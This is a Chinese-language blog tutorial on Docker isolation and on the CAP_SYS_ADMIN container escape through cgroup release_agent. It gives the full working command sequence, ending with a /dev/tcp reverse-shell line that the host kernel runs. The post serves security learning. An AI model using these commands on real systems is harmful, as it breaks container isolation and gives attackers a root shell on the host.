Docker SYS_ADMIN 容器逃逸原理解析

先铺垫一下docker的隔离技术

目录

先铺垫一下docker的隔离技术

三次名词:

chroot & pivot_root

namespace

CGroup

CAP_SYS_ADMIN逃逸

 SYS_ADMIN的权限运行ubuntu容器

查看docker添加的权限

查看CapEff的具体权限

容器内挂载cgroup

查看挂载

创建cgroup类型里建一个子目录x

设置notify_on_release为值1

创建写入cmd文件

监听端口

 反弹成功


三次名词:

  • chroot & pivot_root
  • namespace
  • cgroup

chroot & pivot_root

chroot 就是可以改变某进程的根目录,使这个程序不能访问目录之外的其他目录。

pivot_root隔离
pivot_root把当前进程的root文件系统放在put_old目录,而使new_root成为新的root文件系统
改变当前工作目录的所有进程或线程的工作目录. 这个跟chroot的就有很大的区别,chroot是只改变即将运行的
某进程的根目录。pviot_root主要是把整个系统切换到一个新的root目录,然后去掉对之前rootfs的依赖,以便于可以umount 之前的文件系统(pivot_root需要root权限)
 

namespace

namespace是linux内核用来隔离内核资源的方案。 是对全局系统资源的一种封装隔离,使得处于不同 namespace 的进程拥有独立的全局系统资源,改变一个 namespace 中的系统资源只会影响当前 namespace 里的进程,对其他 namespace 中的进程没有影响。

Docker SYS_ADMIN 容器逃逸原理解析_第1张图片

CGroup

Cgroups是control groups的缩写,是Linux内核提供的一种可以限制,记录,隔离进程组(process groups)所使用物理资源的机制.

二、作用

1、Resource limitation: 限制资源使用,比如内存使用上限以及文件系统的缓存限制

2、Prioritization: 优先级控制,比如:CPU利用和磁盘IO吞吐

3、Accounting: 一些审计或一些统计,主要目的是为了计费

4、Control: 挂起进程,恢复执行进程

先看这里在看下面!!!

Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。

CAP_SYS_ADMIN逃逸

 SYS_ADMIN的权限运行ubuntu容器

命令

root@docker-virtual-machine:/# docker run -itd --cap-add=sys_admin --security-opt apparmor=unconfined 3941d3b032a8

-security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。

查看docker添加的权限

root@c7aec4da1e30:/# cat /proc/$$/status |grep Cap

Docker SYS_ADMIN 容器逃逸原理解析_第2张图片

查看CapEff的具体权限

root@docker-virtual-machine:/usr/bin# capsh --decode=00000000a82425fb
0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap
root@docker-virtual-machine:/usr/bin# 

 

 

容器内挂载cgroup

漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp,并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上。

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

 其中,-t参数表示mount的类别为cgroup,-o表示挂载的选项。对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如cpu、memory。

查看挂载

root@docker-virtual-machine:/usr/bin# ls /tmp/cgrp/
cgroup.clone_children           memory.kmem.tcp.failcnt             memory.soft_limit_in_bytes
cgroup.event_control            memory.kmem.tcp.limit_in_bytes      memory.stat
cgroup.procs                    memory.kmem.tcp.max_usage_in_bytes  memory.swappiness
cgroup.sane_behavior            memory.kmem.tcp.usage_in_bytes      memory.usage_in_bytes
docker                          memory.kmem.usage_in_bytes          memory.use_hierarchy
memory.failcnt                  memory.limit_in_bytes               notify_on_release
memory.force_empty              memory.max_usage_in_bytes           release_agent
memory.kmem.failcnt             memory.move_charge_at_immigrate     system.slice
memory.kmem.limit_in_bytes      memory.numa_stat                    tasks
memory.kmem.max_usage_in_bytes  memory.oom_control                  user.slice
memory.kmem.slabinfo            memory.pressure_level
root@docker-virtual-machine:/usr/bin# 

注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。

创建cgroup类型里建一个子目录x

root@docker-virtual-machine:/usr/bin# mkdir /tmp/cgrp/x
root@docker-virtual-machine:/usr/bin# ls /tmp/cgrp/x
cgroup.clone_children           memory.kmem.tcp.failcnt             memory.oom_control
cgroup.event_control            memory.kmem.tcp.limit_in_bytes      memory.pressure_level
cgroup.procs                    memory.kmem.tcp.max_usage_in_bytes  memory.soft_limit_in_bytes
memory.failcnt                  memory.kmem.tcp.usage_in_bytes      memory.stat
memory.force_empty              memory.kmem.usage_in_bytes          memory.swappiness
memory.kmem.failcnt             memory.limit_in_bytes               memory.usage_in_bytes
memory.kmem.limit_in_bytes      memory.max_usage_in_bytes           memory.use_hierarchy
memory.kmem.max_usage_in_bytes  memory.move_charge_at_immigrate     notify_on_release
memory.kmem.slabinfo            memory.numa_stat                    tasks
root@docker-virtual-machine:/usr/bin# 

注意:新建cgroup子系统是为了防止影响宿主机的正常运行

设置notify_on_release为值1

命令

root@docker-virtual-machine:/tmp/cgrp/x# echo 1 > /tmp/cgrp/x/notify_no_release
-bash: /tmp/cgrp/x/notify_no_release: Permission denied
root@docker-virtual-machine:/tmp/cgrp/x# echo 1 > notify_on_release 

小细节:需要跳转到x的目录才有权限

现在要找宿主机的路径因为最后要运行release_agent这个文件里面写的内容

release_agent这个文件在宿主机上用来反弹shell

命令

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

 

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件。

echo "$host_path/cmd" > /tmp/cgrp/release_agent

检查一下

 

创建写入cmd文件

应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。

root@docker-virtual-machine:/tmp/cgrp/x# echo '#!/bin/sh' > /cmd
root@docker-virtual-machine:/tmp/cgrp/x# echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd
root@docker-virtual-machine:/tmp/cgrp/x# chmod a+x /cmd
root@docker-virtual-machine:/tmp/cgrp/x# vim /cmd
root@docker-virtual-machine:/tmp/cgrp/x# 

执行cmd文件

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。

监听端口

Docker SYS_ADMIN 容器逃逸原理解析_第3张图片

 反弹成功

Docker SYS_ADMIN 容器逃逸原理解析_第4张图片

 

你可能感兴趣的:(安全,docker,容器,运维)